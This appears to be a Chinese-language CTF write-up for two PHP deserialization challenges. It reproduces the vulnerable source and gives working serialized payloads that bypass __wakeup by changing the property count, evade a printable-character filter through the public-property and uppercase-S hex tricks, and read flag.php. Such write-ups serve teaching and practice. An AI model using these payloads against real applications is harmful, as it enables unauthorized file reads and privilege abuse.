几道php反序列化题目

[极客大挑战 2019]PHP

提示源码泄漏，来用扫描器扫一下

扫出来www.zip，然后下载下来

有五个文件，代码审计一下

这个地方有一个可以反序列化的点，找到类

逻辑很简单，username=admin password=100即可

但是有一个wakeup魔术方法会将我们的username=guest，改对象属性个数绕过即可

本地写个测试文件来找payload

<?php

class Name{

    private $username = 'nonono';

    private $password = 'yesyes';

    public function __construct($username,$password){

        $this->username = $username;

        $this->password = $password;

    }

    function __wakeup(){

        $this->username = 'guest';

    }

    function __destruct(){

        if ($this->password != 100) {

            echo "</br>NO!!!hacker!!!</br>";

            echo "You name is: ";

            echo $this->username;echo "</br>";

            echo "You password is: ";

            echo $this->password;echo "</br>";

            die();

        }

        if ($this->username === 'admin') {

            global $flag;

            echo $flag;

        }else{

            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";

            die();

        }

    }

}

$name = new Name('admin','100');

echo serialize($name);

// payload     O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

然后注意是私有属性，别忘了加%00

payload = http://00ec61b4-c182-4e4c-9b0e-e733a0d2ebc7.node3.buuoj.cn/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;s:3:%22100%22;}

得到flag

[网鼎杯 2020 青龙组]AreUSerialz

题目直接给了源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;

    protected $filename;

    protected $content;

    function __construct() {

        $op = "1";

        $filename = "/tmp/tmpfile";

        $content = "Hello World!";

        $this->process();

    }

    public function process() {

        if($this->op == "1") {

            $this->write();

        } else if($this->op == "2") {

            $res = $this->read();

            $this->output($res);

        } else {

            $this->output("Bad Hacker!");

        }

    }

    private function write() {

        if(isset($this->filename) && isset($this->content)) {

            if(strlen((string)$this->content) > 100) {

                $this->output("Too long!");

                die();

            }

            $res = file_put_contents($this->filename, $this->content);

            if($res) $this->output("Successful!");

            else $this->output("Failed!");

        } else {

            $this->output("Failed!");

        }

    }

    private function read() {

        $res = "";

        if(isset($this->filename)) {

            $res = file_get_contents($this->filename);

        }

        return $res;

    }

    private function output($s) {

        echo "[Result]: <br>";

        echo $s;

    }

    function __destruct() {

        if($this->op === "2")

            $this->op = "1";

        $this->content = "";

        $this->process();

    }

}

function is_valid($s) {

    for($i = 0; $i < strlen($s); $i++)

        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

            return false;

    return true;

}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];

    if(is_valid($str)) {

        $obj = unserialize($str);

    }

}

容易发现逻辑是我们get方法输入字符串，然后经过检查后反序列化，调用析构函数，先判断如果op是2，就将其置为1，但是是强类型判断，反序列化的时候将其置为整型就绕过了

然后是进入到process函数，调用read函数，读flag

但是最重要的一点是有检查函数，必须输入可打印字符，因为protected和private都有%00，我们有两种方法绕过，见exp

<?php

highlight_file(__FILE__);

class FileHandler

{

    protected $op = 2;

    protected $filename = 'flag.php';

    protected $content = 'lemon';

}

$test = new FileHandler();

echo serialize($test);

// O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:5:"lemon";}

// PHP7.1以上版本对属性类型不敏感，可以用public属性来绕过检查

// O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";s:10:"\00*\00content";S:5:"lemon";}

// 在序列化内容中用大写S表示字符串，此时这个字符串就支持将后面的字符串用16进制表示

拿上面两个payload任意一个打，都可拿到flag

巴特西

几道php反序列化题目

[极客大挑战 2019]PHP

[网鼎杯 2020 青龙组]AreUSerialz

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